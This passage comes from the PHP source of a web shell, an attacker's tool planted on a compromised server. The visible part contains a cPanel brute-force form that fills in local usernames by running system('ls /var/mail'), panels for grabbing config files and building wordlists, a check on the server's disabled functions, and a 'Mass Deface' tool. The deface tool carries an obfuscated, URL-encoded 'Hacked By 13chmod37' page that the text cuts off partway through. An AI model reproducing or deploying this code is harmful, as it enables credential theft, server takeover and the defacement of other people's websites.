786 }
787 fclose($file);
788 echo "</table>";
789 unlink("test.txt");
790 echo "<center><font color=lime size=3>Done</font></center>";
791 echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
792 }
793echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
794exit;
795}
796?>
797<form method="POST" target="_blank">
798<input name="page" type="hidden" value="find">
799 <table border=1>
800 <body bgcolor="black" text="white"><br><br>
801
802 <center><b><font size="2" style="italic" color="white">Cpanel BruteForce<br><br></b></center></td></tr>
803 <tr>
804 <td>
805 <strong>User :</strong>
806 </td>
807 <td>
808 <strong><textarea cols="50" style="background:#191818;outline:none;color:white;" rows="5" name="usernames"><?php system('ls /var/mail');?></textarea></strong>
809 </td>
810 <tr>
811 <td>
812 <strong>Pass :</strong>
813 </td>
814 <td>
815 <strong><textarea cols="50" style="background:#191818;outline:none;color:white;" rows="5" name="passwords"></textarea></strong>
816 </td>
817 </tr>
818 <tr>
819 <td>
820 <strong>Type :</strong>
821 </td>
822 <td>
823 <span style="background:#191818;outline:none;color:white;"><strong>Simple : </strong> </span>
824 <strong>
825 <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
826 <font style="background:black;outline:none;color:white;"><strong>/etc/passwd : </strong> </font>
827 <strong>
828 <input type="radio" name="type" value="passwd" style="background:black;outline:none;color:white;"></strong><span class="style3"><strong>
829 </strong>
830 </span>
831 <td style="background:black;outline:none;color:white;" >
832 <strong><input class ='inputzbut' type="submit" value="START"></strong>
833 </td>
834 </tr>
835 </table>
836 <br>
837 <table border=1>
838 <tr>
839 <td valign="top" style="background:black;outline:none;color:white;" >
840 <strong>Get Config</strong>
841 <br>
842 <form method="POST" target="_blank">
843 <strong>
844<input name="mendapatkan" type="hidden" value="passwd" >
845 </strong>
846 <strong>Folder Name :</strong>
847 <td>
848
849 <strong><input style="background:black;outline:none;color:white;" size="80" name="foldername" type="text"></strong>
850 <td style="background:black;outline:none;color:white;" >
851 <strong><input class ='inputzbut' type="submit" value="GO">
852 </strong>
853 </td>
854 <tr>
855</form>
856<tr>
857 <td style="background:black;outline:none;color:white;">
858 <strong>Get Wordlist</strong>
859<form method="POST" target="_blank">
860 <strong>
861<input name="pass" type="hidden" value="password">
862 </strong>
863 <strong>Url Config :</strong>
864 <td>
865
866 <strong>
867 <input style="background:black;outline:none;color:white;" size="80" name="url" type="text"></strong>
868
869 <td style="background:black;outline:none;color:white;"><strong><input class ='inputzbut' type="submit" value="GO">
870 </strong>
871 </td>
872 <tr>
873 <td style="background:black;outline:none;color:white;" colspan="6">
874 <strong>Info Security</strong></td>
875 </tr>
876 <tr>
877 <td style="background:black;outline:none;color:white;" style="width: 139px"><strong>Safe Mode</strong></td>
878 <td style="background:black;outline:none;color:white;" colspan="5">
879 <strong>
880<?php
881$safe_mode = ini_get('safe_mode');
882if($safe_mode=='1')
883{
884echo 'ON';
885}else{
886echo 'OFF';
887}
888
889?>
890 </strong>
891 </td>
892 </tr>
893 <tr>
894 <td style="background:black;outline:none;color:white;" style="width: 139px"><strong>Desible Function</strong></td>
895 <td style="background:black;outline:none;color:white;" colspan="5">
896 <strong>
897<form method="POST" target="_blank">
898 <strong>
899<input name="matikan" type="hidden" value="sekatan">
900 </strong>
901
902
903<?php
904if(''==($func=@ini_get('disable_functions')))
905{
906echo "<center><font color=white>No Security for Function</font></b></center>";
907}else{
908
909echo "<font color=red>$func</font></b>";
910echo '<tr><td style="background:black;outline:none;color:white;" style="width: 139px"></td>';
911echo '<td style="background:black;outline:none;color:white;"" colspan="5">
912<strong><input type="submit" value="Please Click Here First!"></input>
913 </strong>
914 </td></tr>';
915}
916 ?>
917 </td>
918 </tr>
919 </table>
920 <?php
921}
922elseif(isset($_GET["priv8"]))
923{
924 echo"<b>I love you Salsha:*</b>";
925}
926 elseif(isset($_GET['x']) && ($_GET['x'] == 'massde'))
927 {
928 echo "<center/><br/><b><font color=white>Mass Deface</font></b><br>";
929error_reporting(0);?>
930<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
931<br>
932<br>
933note: if not domain in deface result, this site not work mass deface (permission denied)<br><td><table><table class="tabnet" >
934<form hethot='post'>
935<tr>
936 <tr>
937 <td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
938 </tr><br>
939 <tr>
940 <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="gus.html"></td>
941 </tr>
942</tr>
943<th colspan='2'><b>Script Deface</b></th><br></table>
944<textarea style='background:black;outline:none;color:white;' name='index' rows='10' cols='67'>
945<script type='text/javascript'>
946<!-- 13chmod37 -->
947document.write(unescape('%3C%68%74%6D%6C%3E%20%20%0A%3C%6C%69%6E%6B%20%72%65%6C%3D%22%69%63%6F%6E%22%20%74%79%70%65%3D%22%69%6D%61%67%65%2F%67%69%66%22%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%63%65%70%6E%61%6E%61%6E%67%2E%6D%79%77%61%70%62%6C%6F%67%2E%63%6F%6D%2F%66%69%6C%65%73%2F%72%69%30%32%2E%67%69%66%22%3E%20%0A%3C%68%65%61%64%3E%20%0A%3C%74%69%74%6C%65%3E%5B%21%5D%48%61%63%6B%65%64%20%42%79%20%31%33%43%48%4D%4F%44%33%37%5B%21%5D%3C%2F%74%69%74%6C%65%3E%20%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%3C%21%2D%2D%20%61%3A%6C%69%6E%6B%0A%0A%7B%63%6F%6C%6F%72%3A%23%66%66%66%66%66%66%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%7D%2D%2D%3E%3C%2F%73%74%79%6C%65%3E%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%0A%0A%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%49%53%4F%2D%38%38%35%39%2D%31%22%3E%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%0A%0A%74%62%35%5F%6D%61%6B%65%41%72%72%61%79%28%6E%29%7B%20%74%68%69%73%2E%6C%65%6E%67%74%68%20%3D%20%6E%3B%20%72%65%74%75%72%6E%20%74%68%69%73%2E%6C%65%6E%67%74%68%3B%0A%74%62%35%5F%6D%65%73%73%61%67%65%73%20%3D%20%6E%65%77%20%74%62%35%5F%6D%61%6B%65%41%72%72%61%79%28%32%29%3B%74%62%35%5F%6D%65%73%73%61%67%65%73%5B%30%5D%20%3D%20%22%48%61%63%6B%65%64%20%42%79%22%3B%0A%74%62%35%5F%6D%65%73%73%61%67%65%73%5B%31%5D%20%3D%20%22%31%33%63%68%6D%6F%64%33%37%22%3B%0A%74%62%35%5F%72%70%74%54%79%70%65%20%3D%20%27%69%6E%66%69%6E%69%74%65%27%3B%0A%74%62%35%5F%72%70%74%4E%62%72%20%3D%20%31%30%30%3B%0A%76%61%72%20%74%62%35%5F%63%75%72%72%4D%73%67%3D%30%3B%0A%76%61%72%20%74%62%35%5F%73%74%73%6D%73%67%3D%22%22%3B%0A%66%75%6E%63%74%69%6F%6E%20%74%62%35%5F%73%68%75%66%66%6C%65%28%61%72%72%29%7B%0A%76%61%72%20%6B%3B%0A%0A%66%6F%72%20%28%69%3D%30%3B%20%69%3C%61%72%72%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%7B%20%6B%20%3D%20%4D%61%74%68%2E%72%6F%75%6E%64%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%20%2A%20%28%61%72%72%2E%6C%65%6E%67%74%68%20%2D%20%69%20%2D%20%31%29%29%20%2B%20%69%3B%20%74%65%6D%70%20%0A%0A%3D%20%61%72%72%5B%69%5D%3B%61%72%72%5B%69%5D%3D%61%72%72%5B%6B%5D%3B%61%72%72%5B%6B%5D%3D%74%65%6D%70%3B%0A%0A%7D%0A%72%65%74%75%72%6E%20%61%72%72%3B%0A%7D%0A%7D%0A%74%62%35%5F%61%72%72%20%3D%20%74%62%35%5F%73%68%75%66%66%6C%65%28%74%62%35%5F%61%72%72%29%3B%0A%66%75%6E%63%74%69%6F%6E%20%74%62%35%5F%69%6E%69%74%28%6E%29%7B%0A%65%6C%73%65%7B%20%74%62%35%5F%73%70%3D%74%62%35%5F%73%70%65%65%64%3B%20%6B%20%3D%20%74%62%35%5F%61%72%72%5B%6E%5D%3B%20%74%62%35%5F%73%74%73%5B%6B%5D%20%3D%20%74%62%35%5F%6D%65%73%73%61%67%65%73%5B%74%62%35%5F%63%75%72%72%4D%73%67%5D%2E%63%68%61%72%41%74%28%6B%29%3B%20%0A%0A%74%62%35%5F%73%74%73%6D%73%67%20%3D%20%22%22%3B%20%66%6F%72%20%28%76%61%72%20%69%3D%30%3B%20%69%3C%74%62%35%5F%73%74%73%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%20%74%62%35%5F%73%74%73%6D%73%67%20%2B%3D%20%74%62%35%5F%73%74%73%5B%69%5D%3B%20%0A%0A%64%6F%63%75%6D%65%6E%74%2E%74%69%74%6C%65%20%3D%20%74%62%35%5F%73%74%73%6D%73%67%3B%20%6E%2B%2B%3B%20%7D%20%74%62%35%5F%74%69%6D%65%72%49%44%20%3D%20%73%65%74%54%69%6D%65%6F%75%74%28%22%74%62%35%5F%69%6E%69%74%28%22%2B%6E%2B%22%29%22%2C%20%74%62%35%5F%73%70%29%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%74%62%35%5F%72%61%6E%64%6F%6D%69%7A%65%74%69%74%6C%65%28%29%7B%74%62%35%5F%69%6E%69%74%28%30%29%3B%7D%0A%0A%41%20%73%63%72%69%70%74%20%74%68%61%74%20%63%61%75%73%65%73%20%61%6E%79%20%74%65%78%74%20%69%6E%73%69%64%65%20%61%6E%79%20%74%65%78%74%20%65%6C%65%6D%65%6E%74%20%74%6F%20%62%65%20%22%74%79%70%65%64%20%6F%75%74%22%2C%20%6F%6E%65%20%6C%65%74%74%65%72%20%61%74%20%61%0A%0A%74%69%6D%65%2E%20%4E%6F%74%65%20%74%68%61%74%20%61%6E%79%20%48%54%4D%4C%20%74%61%67%73%20%77%69%6C%6C%20%6E%6F%74%20%62%65%20%69%6E%63%6C%75%64%65%64%20%69%6E%20%74%68%65%20%74%79%70%65%64%20%6F%75%74%70%75%74%2C%20%74%6F%20%70%72%65%76%65%6E%74%20%74%68%65%6D%0A%0A%66%72%6F%6D%20%63%61%75%73%69%6E%67%20%70%72%6F%62%6C%65%6D%73%2E%20%54%65%73%74%65%64%20%69%6E%20%46%69%72%65%66%6F%78%20%76%31%2E%35%2E%30%2E%31%2C%20%4F%70%65%72%61%20%76%38%2E%35%32%2C%20%4B%6F%6E%71%75%65%72%6F%72%20%76%33%2E%35%2E%31%2C%20%61%6E%64%20%49%45%0A%0A%46%75%6E%63%74%69%6F%6E%73%20%64%65%66%69%6E%65%64%3A%20%54%79%70%69%6E%67%54%65%78%74%28%65%6C%65%6D%65%6E%74%2C%20%5B%69%6E%74%65%72%76%61%6C%20%3D%20%31%30%30%2C%5D%20%5B%63%75%72%73%6F%72%20%3D%20%22%22%2C%5D%20%5B%66%69%6E%69%73%68%65%64%43%61%6C%6C%62%61%63%6B%20%3D%20%0A%0A%66%75%6E%63%74%69%6F%6E%28%29%0A%0A%0A%7B%72%65%74%75%72%6E%7D%5D%29%3A%20%43%72%65%61%74%65%20%61%20%6E%65%77%20%54%79%70%69%6E%67%54%65%78%74%20%6F%62%6A%65%63%74%20%61%72%6F%75%6E%64%20%74%68%65%20%67%69%76%65%6E%20%65%6C%65%6D%65%6E%74%2E%20%4F%70%74%69%6F%6E%61%6C%6C%79%20%73%70%65%63%69%66%79%20%61%20%0A%0A%64%65%6C%61%79%20%62%65%74%77%65%65%6E%20%63%68%61%72%61%63%74%65%72%73%20%6F%66%20%69%6E%74%65%72%76%61%6C%20%6D%69%6C%6C%69%73%65%63%6F%6E%64%73%2E%20%63%75%72%73%6F%72%20%61%6C%6C%6F%77%73%20%75%73%65%72%73%20%74%6F%20%73%70%65%63%69%66%79%20%73%6F%6D%65%20%48%54%4D%4C%20%0A%0A%74%6F%20%62%65%20%61%70%70%65%6E%64%65%64%20%74%6F%20%74%68%65%20%65%6E%64%20%6F%66%20%74%68%65%20%73%74%72%69%6E%67%20%77%68%69%6C%73%74%20%74%79%70%69%6E%67%2E%20%4F%70%74%69%6F%6E%61%6C%6C%79%2C%20%63%61%6E%20%61%6C%73%6F%20%62%65%20%61%20%66%75%6E%63%74%69%6F%6E%20%0A%0A%77%68%69%63%68%20%61%63%63%65%70%74%73%20%74%68%65%20%63%75%72%72%65%6E%74%20%74%65%78%74%20%61%73%20%61%6E%20%61%72%67%75%6D%65%6E%74%2E%20%54%68%69%73%20%61%6C%6C%6F%77%73%20%74%68%65%20%75%73%65%72%20%74%6F%20%63%72%65%61%74%65%20%61%20%22%64%79%6E%61%6D%69%63%20%0A%0A%63%75%72%73%6F%72%22%20%77%68%69%63%68%20%63%68%61%6E%67%65%73%20%64%65%70%65%6E%64%69%6E%67%20%6F%6E%20%74%68%65%20%6C%61%74%65%73%74%20%63%68%61%72%61%63%74%65%72%20%6F%72%20%74%68%65%20%63%75%72%72%65%6E%74%20%6C%65%6E%67%74%68%20%6F%66%20%74%68%65%20%73%74%72%69%6E%67%2E%20%0A%0A%66%69%6E%69%73%68%65%64%43%61%6C%6C%62%61%63%6B%20%61%6C%6C%6F%77%73%20%61%64%76%61%6E%63%65%64%20%73%63%72%69%70%74%65%72%73%20%74%6F%20%73%75%70%70%6C%79%20%61%20%66%75%6E%63%74%69%6F%6E%20%74%6F%20%62%65%20%65%78%65%63%75%74%65%64%20%6F%6E%20%66%69%6E%69%73%68%69%6E%67%2E%20%0A%0A%54%68%65%20%66%75%6E%63%74%69%6F%6E%20%6D%75%73%74%20%61%63%63%65%70%74%20%6E%6F%20%61%72%67%75%6D%65%6E%74%73%2E%20%54%79%70%69%6E%67%54%65%78%74%2E%72%75%6E%28%29%3A%20%52%75%6E%20%74%68%65%20%65%66%66%65%63%74%2E%20%73%74%61%74%69%63%20%0A%0A%54%79%70%69%6E%67%54%65%78%74%2E%72%75%6E%41%6C%6C%28%29%3A%20%52%75%6E%20%61%6C%6C%20%54%79%70%69%6E%67%54%65%78%74%2D%65%6E%61%62%6C%65%64%20%6F%62%6A%65%63%74%73%20%6F%6E%20%74%68%65%20%70%61%67%65%2E%0A%0A%0A%2A%2F%0A%0A%54%79%70%69%6E%67%54%65%78%74%2E%61%6C%6C%20%3D%20%6E%65%77%20%41%72%72%61%79%28%29%3B%0A%0A%54%79%70%69%6E%67%54%65%78%74%2E%63%75%72%72%65%6E%74%49%6E%64%65%78%20%3D%20%30%3B%0A%0A%54%79%70%69%6E%67%54%65%78%74%2E%72%75%6E%41%6C%6C%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%20%66%6F%72%28%76%61%72%20%69%20%3D%20%30%3B%20%69%20%3C%20%54%79%70%69%6E%67%54%65%78%74%2E%61%6C%6C%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%20%0A%0A%54%79%70%69%6E%67%54%65%78%74%2E%61%6C%6C%5B%69%5D%2E%72%75%6E%28%29%3B%0A%0A%74%68%69%73%2E%69%6E%74%65%72%76%61%6C%29%3B%20%20%20%20%2F%2F%20%57%65%20%68%61%76%65%6E%27%74%20%66%69%6E%69%73%68%65%64%20%6C%6F%61%64%69%6E%67%20%79%65%74%2E%20%48%61%76%65%20%70%61%74%69%65%6E%63%65%2E%20%72%65%74%75%72%6E%3B%20%7D%20%69%66%0A%0A%28%74%68%69%73%2E%63%75%72%72%65%6E%74%54%65%78%74%20%3D%3D%20%22%22%29%20%74%68%69%73%2E%65%6C%65%6D%65%6E%74%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%22%22%3B%0A%0A%2F%2F%20%74%68%69%73%2E%6F%72%69%67%54%65%78%74%20%3D%20%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%72%65%70%6C%61%63%65%28%2F%3C%28%5B%5E%3C%5D%29%2A%3E%2F%2C%20%22%22%29%3B%20%2F%2F%20%53%74%72%69%70%20%48%54%4D%4C%20%66%72%6F%6D%20%74%65%78%74%2E%20%69%66%0A%0A%28%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%20%3C%20%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%6C%65%6E%67%74%68%29%20%7B%20%69%66%28%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%63%68%61%72%41%74%28%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%29%20%3D%3D%20%22%3C%22%20%0A%0A%26%26%20%21%74%68%69%73%2E%69%6E%54%61%67%29%20%7B%20%74%68%69%73%2E%74%61%67%42%75%66%66%65%72%20%3D%20%22%3C%22%3B%20%74%68%69%73%2E%69%6E%54%61%67%20%3D%20%74%72%75%65%3B%20%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%2B%2B%3B%20%74%68%69%73%2E%72%75%6E%28%29%3B%20%0A%0A%72%65%74%75%72%6E%3B%20%7D%20%65%6C%73%65%20%69%66%28%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%63%68%61%72%41%74%28%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%29%20%3D%3D%20%22%3E%22%20%26%26%20%74%68%69%73%2E%69%6E%54%61%67%29%20%7B%20%0A%0A%74%68%69%73%2E%74%61%67%42%75%66%66%65%72%20%2B%3D%20%22%3E%22%3B%20%74%68%69%73%2E%69%6E%54%61%67%20%3D%20%66%61%6C%73%65%3B%20%74%68%69%73%2E%63%75%72%72%65%6E%74%54%65%78%74%20%2B%3D%20%74%68%69%73%2E%74%61%67%42%75%66%66%65%72%3B%20%0A%0A%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%2B%2B%3B%20%74%68%69%73%2E%72%75%6E%28%29%3B%20%72%65%74%75%72%6E%3B%20%7D%20%65%6C%73%65%20%69%66%28%74%68%69%73%2E%69%6E%54%61%67%29%20%7B%20%74%68%69%73%2E%74%61%67%42%75%66%66%65%72%20%2B%3D%20%0A%0A%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%63%68%61%72%41%74%28%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%29%3B%20%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%2B%2B%3B%20%74%68%69%73%2E%72%75%6E%28%29%3B%20%72%65%74%75%72%6E%3B%20%7D%20%65%6C%73%65%20%69%66%0A%0A%28%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%63%68%61%72%41%74%28%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%29%20%3D%3D%20%22%26%22%20%26%26%20%21%74%68%69%73%2E%69%6E%48%54%4D%4C%45%6E%74%69%74%79%29%20%7B%20%0A%0A%74%68%69%73%2E%48%54%4D%4C%45%6E%74%69%74%79%42%75%66%66%65%72%20%3D%20%22%26%22%3B%20%74%68%69%73%2E%69%6E%48%54%4D%4C%45%6E%74%69%74%79%20%3D%20%74%72%75%65%3B%20%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%2B%2B%3B%20%74%68%69%73%2E%72%75%6E%28%29%3B%20%0A%0A%72%65%74%75%72%6E%3B%20%7D%20%65%6C%73%65%20%69%66%28%74%68%69%73%2E%6F%72%69%67%54%65%78%74%2E%63%68%61%72%41%74%28%74%68%69%73%2E%63%75%72%72%65%6E%74%43%68%61%72%29%20%3D%3D%20%22%3B%22%20%26%26%20%74%68%69%73%2E%69%6E%48%54%4D%4C%45%6E%74%69%74%79%29%0A%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%41%75%74%68%6F%72%22%20%63%6F%6E%74%65%6E%74%3D%22%31%33%63%68%6D%6F%64%33%37%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%69%6D%61%67%65%74%6F%6F%6C%62%61%72%22%20%63%6F%6E%74%65%6E%74%3D%22%6E%6F%22%3E%0A%20%20%20%20%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%20%20%20%20%20%20%20%20%68%74%6D%6C%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%62%6F%64%79%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%30%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%68%65%69%67%68%74%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6D%61%72%67%69%6E%3A%30%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%23%73%63%72%65%65%6E%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%68%65%69%67%68%74%3A%20%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%23%69%6D%67%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%23%73%63%72%65%65%6E%20%69%6D%67%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6C%65%66%74%3A%2D%31%30%30%30%30%70%78%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7A%2D%69%6E%64%65%78%3A%31%30%30%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%2D%6D%73%2D%69%6E%74%65%72%70%6F%6C%61%74%69%6F%6E%2D%6D%6F%64%65%3A%6E%65%61%72%65%73%74%2D%6E%65%69%67%68%62%6F%72%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%6D%61%67%65%2D%72%65%6E%64%65%72%69%6E%67%3A%20%6F%70%74%69%6D%69%7A%65%53%70%65%65%64%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%63%75%72%73%6F%72%3A%20%70%6F%69%6E%74%65%72%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%62%6F%72%64%65%72%3A%23%33%33%33%20%73%6F%6C%69%64%20%31%70%78%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%23%74%69%74%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%63%6F%6C%6F%72%3A%23%66%66%66%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%76%65%72%64%61%6E%61%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%77%65%69%67%68%74%3A%62%6F%6C%64%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%34%38%70%78%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%66%69%6C%74%65%72%3A%20%61%6C%70%68%61%28%6F%70%61%63%69%74%79%3D%33%30%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%70%61%63%69%74%79%3A%20%30%2E%33%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%62%6F%74%74%6F%6D%3A%31%32%70%78%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7A%2D%69%6E%64%65%78%3A%31%30%30%30%30%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%3C%2F%73%74%79%6C%65%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%20%20%20%20%2F%2F%20%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%0A%20%20%20%20%2F%2F%20%73%63%72%69%70%74%3A%20%41%67%75%73%20%44%77%69%20%43%61%68%79%6F%20%2D%20%47%65%2D%31%2D%64%6F%6F%74%20%2D%20%4D%61%79%20%32%32%2C%20%32%30%30%34%0A%20%20%20%20%2F%2F%20%55%70%64%61%74%65%64%3A%20%46%65%62%72%75%61%72%79%20%32%30%31%30%20%2D%20%6E%61%6D%65%73%70%61%63%65%64%0A%20%20%20%20%2F%2F%20%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%0A%20%20%20%20%20%0A%20%20%20%20%76%61%72%20%64%69%61%70%6F%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%76%61%72%20%6F%62%6A%65%63%74%20%3D%20%6E%65%77%20%41%72%72%61%79%28%29%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%4B%20%20%3D%20%4D%61%74%68%2E%50%49%20%2F%20%31%38%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%4E%20%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%78%6D%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%79%6D%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%6D%78%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%6D%79%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%61%78%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%61%79%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%4E%62%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%74%69%74%20%3D%20%30%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%69%6D%67%20%3D%20%30%3B%0A%20%20%20%20%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%0A%20%20%20%20%20%20%20%20%76%61%72%20%7A%4D%20%3D%20%34%3B%0A%20%20%20%20%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%0A%20%20%20%20%20%20%20%20%76%61%72%20%43%4F%62%6A%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%4E%2C%20%78%2C%20%79%2C%20%7A%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%49%20%3D%20%69%6D%67%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%69%6D%67%22%29%5B%4E%20%25%20%69%6D%67%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%0A%0A%28%22%69%6D%67%22%29%2E%6C%65%6E%67%74%68%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%6F%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%22%69%6D%67%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%2E%6F%6E%63%6C%69%63%6B%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%6F%62%6A%65%63%74%5B%4E%5D%2E%6F%6E%20%3D%3D%20%74%72%75%65%29%20%6F%62%6A%65%63%74%5B%4E%5D%2E%6F%6E%20%3D%20%66%61%6C%73%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%6C%73%65%20%6F%62%6A%65%63%74%5B%4E%5D%2E%6F%6E%20%3D%20%74%72%75%65%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%6F%2E%6F%6E%6D%6F%75%73%65%6F%76%65%72%20%3D%20%66%75%6E%63%74%69%6F%6E%20%28%29%20%7B%0A%20%20%20%20%